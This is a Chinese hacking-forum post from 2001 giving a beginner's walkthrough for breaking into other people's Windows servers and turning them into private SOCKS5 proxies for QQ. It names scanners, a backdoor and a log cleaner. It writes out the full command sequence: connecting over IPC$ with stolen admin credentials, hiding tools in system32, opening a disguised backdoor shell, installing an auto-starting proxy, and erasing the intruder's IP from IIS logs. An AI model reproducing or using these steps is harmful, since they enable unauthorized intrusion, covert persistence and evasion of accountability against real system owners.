20CN网络安全小组论坛 - 菜鸟乐园 - 关于SOCK5 QQ代理制做！（原创）

论坛: 菜鸟乐园标题: 关于SOCK5 QQ代理制做！（原创）

作者: coolcat [coolcat]

论坛用户

网上有不少sock5的qq代理，但很多人用了几天就不能用了。那是理所当然的啦，放在网上的东西，你能找到别人也能找到，特别是人气很旺的网站。自然就会有很多人用了，再自然人家就很容易发现，最后就会封掉啦！（废话，太多人用他的主机当代理，人家凭什么给你用啊！）
现在介绍一个最好的办法----自己找肉鸡，建sock5代理，然后自己用！

准备工具：
1.扫描器:推荐流光IV.（小容）或 X-SCAN 1.3（安全焦点）
2.sksockserver （Snake写的做sock5代理的程序）
3.cleaniislog(小容的清扫日志工具，用于打扫战场）
4.无数的后门程序，看你喜欢用什么了：推荐Remotenc(小容）
是不是觉得小容很厉害~？？呵呵。

开始工作：
1.用流光扫一些ip段，最好不是搞中国的主机！
（省去过程，如有人不会的话，下次我会专门写出流光的使用方法）
得到一些主机入侵漏洞（你会什么？SQL,NT弱密码,idq.dll??)不管拉，只用能进入他的主机。。并得到Adminstrator 的密码和用户名。
2.建立一个ipc$连接。在dos窗口:
c:\>net use \\肉鸡ip\ipc$ "密码" /user:"用户名"  (密码，用户名要是肉鸡上的admin的）
c:\>copy c:\hacker\sksockserver.exe \\肉鸡ip\Admin$\system32 （copy skcoskserver到肉鸡的windows的system32目录里面，那里程序多，管理员不易发觉。c:\hacker\sksockserver 是我硬盘里sksockserver存放目录。）
c:\>copy C:\hacker\cleaniislog\cleaniislog \\ip\Admin$\system32
看到copy成功后，就要进入肉鸡拉。

用remotenc开后门
C:\hacker\remotenc\remotenc 肉鸡ip 用户名密码 localsystem Server Server 9 aaa  (打开端口9, 密码aaa 并让remotenc建立进程名字为Server 迷惑管理员。）
c:\telnet 肉鸡ip 9 （telnet上肉鸡）
输入aaa你的密码
Remotenc>             (这样就进来了）

Remotenc>sksockserver -install   （安装 sksockserver)
Remotenc>sksockserver -config starttype2 (设为自动加载）
Remotenc>net start skserver      (运行sksockserver）
Remotenc>net start     (察看进程，有sksockserver就说明成功了。）

打扫脚印。
Remotenc>cleaniislog C:\winnt\system32\logfiles\w3svc1\ex011229.log 你自己的ip   （指定清楚ex011229这个日志里你的ip. 肉鸡不同，文件位置可能不同。有可能w3svc2, w3svc3, 不要照抄！ex011229.log 是01年12月29日的（今天），你要找到你入侵那天的哦。

一切搞定后，就可以退出肉鸡！打开oicq 再网络属性里添加sock5代理了，端口1813 .记住测试以下是不是工作正常。 ok啦，现在这台肉鸡就是你的啦！用上代理，不怕别人查处你的真实ip,更不用说要炸你啦！！

地主发表时间: 12/29 0:52